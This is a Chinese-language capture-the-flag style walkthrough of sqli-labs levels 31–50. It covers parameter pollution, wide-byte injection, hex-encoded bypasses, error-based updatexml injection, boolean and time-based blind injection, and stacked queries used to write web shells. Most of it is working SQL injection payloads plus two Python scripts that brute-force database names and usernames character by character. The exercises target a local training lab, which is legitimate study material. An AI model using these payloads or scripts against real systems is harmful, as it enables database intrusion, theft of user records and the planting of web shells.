Less-31:
Less-31和Less-30一样
在index.php页面没有防护是")闭合
直接打:
在login.php页面有防护
和Less-30一样利用参数污染攻击:
-1") union select 1,2,(select group_concat(username) from users)-- ad
获取username值:
Less-32:
打开题目发现题目提示:
我们输入的字符查询将被转义,并且给出了id值的十六进制:
这就容易让我们想到宽字节注入
具体看这篇博客:
https://blog.csdn.net/qq_43504939/article/details/90108468
尝试注入:
?id=1%df'
进行union注入
获取字段:
在3处不报错,4处报错,字段为3
?id=1%df' order by 3-- as
找出在2,3处位置回显
-1%df' union select 1,2,3-- sa
获取数据库:
-1%df' union select 1,2,database()-- sa
表名:
?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- sa
获取user字段:
这里涉及要获取表名和数据库是要用where 判断=‘user’,有引号会被转义所有利用Hex编码绕过:
-1%df' union select 1,2,(group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)-- s
获取usrname值:
?id=-1%df' union select 1,2,(select group_concat(username) from users)-- s
Less-33:
与上一关一样宽字节注入:
获取username的值:
Less-34:
打开题目发现和上一题一样但是这题是POST请求:
但是直接在页面请求是没用用的:
发现没有逃逸
用burpsuite抓包看一下发现被编码了:
改一下在发送:
宽字节注入成功
剩下步骤与31题一样
获取username的值:
-1%df' union select 1,2,(select group_concat(username) from users)-- s
Less-35:
这题发现对 ’ 进行了转义但这是整数型注入不需要单引号
所以直接注入:
获取username的值:
?id=-1 union select 1,2,(select group_concat(username) from users)-- s
Less-36:
发现和Less-34一样,具体就不在累赘直接上payload:
获取payload的值
?id=-1%df' union select 1,(select group_concat(username) from users)-- ad
Less-37:
发现和Less-34一样,具体就不在累赘直接上payload:
获取payload的值
uname=-1%df' union select 1,(select group_concat(username) from users)-- ad&passwd=123456&submit=Submit
Less-38:
打开题目发现可以进行简单的union注入:
?id=-1' union select 1,(select group_concat(username) from users)-- ad
但根据题目提示可以进行堆叠注入,就测一波堆叠注入:
直接写一句话木马:
访问执行命令得到:
Less-39:
这一题和# Less-38一样也是堆叠注入但不同的是是整型注入,还是直接执行命令写shell:
访问执行命令:
Less-40:
这一题和# Less-39一样也是堆叠注入但不同的是先通过布尔盲注找到用 ') 闭合,还是直接执行命令写shell:
访问执行命令:
Less-41:
这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是整型注入,还是直接执行命令写shell:
访问执行命令:
Less-42:
通过burpsuite抓包获取请求信息:
换hackbar请求(比较直观):
发现单引号报错,并且也是堆叠注入
于是写入shell:
访问执行命令:
Less-43:
这一题和# Less-42一样也是堆叠注入但不同的是 ') 闭合,还是直接执行命令写shell:
访问执行命令:
Less-44:
这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是:sad’ or 1=1#闭合,还是直接执行命令写shell:
访问执行命令:
Less-45:
这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是:
') 闭合,还是直接执行命令写shell:
访问执行命令:
Less-46:
打开题目经过测试,发现sort的值为1,2,3并且为按那个列排序,且是整数型注入:
可以打报错注入得到,这里就不浪费时间了
直接获取username的值:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)
Less-47:
这一题和# Less-46一样也是堆叠注入但不同的是:
') 闭合
可以打报错注入得到,这里就不浪费时间了
直接获取username的值:
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
Less-48:
通过测试发现不会报错是一个整数盲注
当我们输入的sort不存在是得到:
当连接上or sleep(1)时:
?sort= 0 or sleep(1)
得到:
发现发生了延时,当前面的sort存在时不发生延时,发生短路。
所以用下面这个语句,判断当前数据库的第一个值是否为s,正确的话为1,不发生延时,否则延时:
?sort=(ord(substr(database(),1,1))=115) or sleep(1)
结果是不延时,可以确定当前数据库 的第一个值
但这样太慢,我采用rand()函数
可以发现rand(0)和rand(1)的排序结果是不一样的
所以我们限制只输出一条用:limit 1
这样就可以USRNAME来判断达到布尔盲注
列:
?sort=rand(length(database())>7) limit 1
发现大于7时为Dumb
所以database()的长度为7
所以编写出脚本获取值:
import requests
url = 'http://127.0.0.1/sqli/Less-48/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')
while True:
m += 1 #长度
over = str #判断结束标志
for code in range(1,256):
#获取数据库:f'rand(ord(substr(database(),{m},1))={code}) limit 1'
#获取表:f'rand(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}) limit 1'
#获取字段:f"rand(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}) limit 1"
#获取值:f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
payload = f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
html = requests.get(url+payload)
sign = html.text
if 'admin3' in sign:
str += chr(code)
print(f'{chr(code)}',end='')
if over == str:
break
print()
print(f'[*]爆破结果:{str}')
得到username的值:
Less-49:
Less-49和Less-48一样都是盲注,但是49是用 ’ 闭合,所以我采用用的是时间盲注:
?sort=1' and if(1<2,sleep(1),1)-- as
编写脚本
import requests
url = 'http://127.0.0.1/sqli/Less-49/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')
while True:
m += 1 #长度
over = str #判断结束标志
for code in range(1,256):
#获取数据库:f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
#获取表:f"1' and if((ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}),sleep(1),1)-- as"
#获取字段:f"1' and if((ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}),sleep(1),1)-- as"
#获取值:f"1' and if((ord(substr((select group_concat(username) from users),{m},1))={code}),sleep(1),1)-- as"
payload = f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
html = requests.get(url+payload)
sign = html.elapsed.seconds
if sign >1:
str += chr(code)
print(f'{chr(code)}',end='')
if over == str:
break
print()
print(f'[*]爆破结果:{str}')
获取username的值:
Less-50:
打开题目发现和49一样都是排序,但是50发现单引号报错所以可以打报错注入,又因为题目提示可以打堆叠注入所以直接写shell
在进一步测试发现是整型注入,不需要闭合
所以直接写shell:
访问执行: